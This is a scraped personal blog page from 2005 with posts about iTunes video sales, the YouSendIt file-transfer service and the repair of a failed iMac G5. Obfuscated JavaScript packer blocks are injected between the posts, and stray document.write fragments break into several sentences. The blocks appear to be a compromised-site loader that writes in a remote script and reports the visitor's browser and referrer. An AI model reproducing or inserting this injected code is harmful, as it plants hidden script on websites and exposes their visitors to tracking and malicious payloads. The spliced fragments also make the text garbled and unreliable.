eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|khtkd|var|u0026u|referrer|rtyzb||js|php’.split(‘|’),0,{}))

iTunes music stores will soon start selling video also. Following a deal with ABC/Disney they will start offering episode of “Desperate Housewives” and “Lost,” among other content, for only $1.99 per episode. Video can be watched either on the iPod 2.5-inch screen or on a computer.

Hopefully, anime releasers both in Japan an in North America will seize this opportunity to make their product available online at a reasonable cost. It is clear that this is the only way to fight piracy and illegal downloads.

If you want more details you can check those articles:

www.hollywoodreporter.com/thr/new_media/article_display.jsp?vnu_content_id=1001304647

www.cnn.com/2005/TECH/ptech/10/12/apple.video.ipod.ap/index.html?section=cnn_topstories

Update (05/10/14): iTunes v. 6 is already available and the music store is already selling lots of video clips and some Pixar’s short movies. The only downside to this is that the resolution is rather small. It is really made for the iPod screen. But at least the idea of downloading video for a small fee is put in practice. Eventually they could offer higher resolution video for a bigger price.

Nice Alternative to FTP

September 16, 2005 / Clodjee / Leave a comment

It happens often that I have large files that I have to send or to receive. Most of the time they are too large to be e-mailed. Sending files through MSN Messenger is generally too slow for large files and when I try to send files by FTP, document.write(“”); I have often trouble logging to the destination server, or people cannot log to my server, etc.

Recently, someone introduced me to an interesting web site: www.yousendit.com. You enter the recipient’s e-mail, you select the file you want to send (up to 1 Gb) and then you click the “you send it” button. Your file is uploaded (there is even a secure option) to their web site, an e-mail is sent to the recipient with instruction on how to download the file and voila!

I’ve tried it and it works well. No passwords to share, no software to install, no accounts to create, and no full mailboxes! I don’t don’t know how they can manage to offer such a free service (it must require lots of storage) since there is no ads on the web site (although I remember seeing a discreet “sponsors” link or something like that once the file was uploaded).

More Computer Update

September 11, 2005 / Clodjee / Leave a comment

Well, document.write(“”); I did not get my computer on Friday. When the repair shop got the logic board and started to install it, they noticed that the power supply had also burned out so they ordered that part too. But it did not ship in time for me to get the computer for the week-end. However, I got it on monday (August 29th) and everything was fine. I am so happy!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hrnis|var|u0026u|referrer|aysky||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fenef|var|u0026u|referrer|brbrt||js|php’.split(‘|’),0,{}))

Of course, since I’ve worked on the G3 for a little more than a week, I had to re-update my files and mails, etc., which took me several days since I was quite busy on various project. To avoid that kind of problem, I am now trying to make backups more often and I’ve sync both computers.

I am planning to write a review for the iMac G5 in the Tech section of my website (as soon as I have a little time). I am also working on a Tech review about Primus VoIP service (as soon as I’ve tested it for a little longer — so far I’ve had problems with the customer services, but the product itself seems fine). Ah! So many projects, so little time…

Computer Update

August 24, 2005 / Clodjee / Leave a comment

Today I got some news from the computer repair shop.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fzyth|var|u0026u|referrer|ythtk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|issnn|var|u0026u|referrer|ierys||js|php’.split(‘|’),0,{}))

Apparently the problem has nothing to do with overheating. It seems that the first series of iMac G5 used a bad batch of capacitors on its circuit boards (I think that sensors for the space shuttle fuel tank were plagued by a similar problem recently!) and that they burn up after a while. Apple has acknowledge the problem and extended the warranty of the flawed models (see the Repair Extension Program page). So as soon as they received the needed parts the repair shop will replace the logic board of my iMac G5 (hopefully before the end of the week) and I will be back in business with a FAST computer (switching back to a G3/G4 made me realized how fast the G5 is!). Let’s see if Apple hold to their reputable customer service.

I have therefore regained confidence in my beautiful iMac G5 and will stick with it for a while. Probably until we see what those new Intel Mac that Apple is planning to release are capable of.

My Computer Dies!

August 21, 2005 / Clodjee / Leave a comment

After having printer’s and cat’s problems, document.write(“”); I was not out of the woods yet. Yesterday night, my iMac G5 died in a terrible smell of burned electronics. That was NOT an happy moment either. After spending part of the afternoon doing diagnostics, it is now packed and ready to go to an Apple Service Center monday. I should be able to get it repaired within a week (however I am considering eventually replacing it by a dual processor G5 2 ghz tower — if I can get a good price for the iMac, which, being an all-in-one model, has the unfortunate habit to overheat).
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkhhi|var|u0026u|referrer|dzftf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yntaf|var|u0026u|referrer|zsdsd||js|php’.split(‘|’),0,{}))

I had to take out my old G3 (boosted with a G4 processor) and update its files in order to be able to do some work in the meantime. Anyway, that’s life.

Hopefully, that’s the end of my bad luck streak.

Take care!

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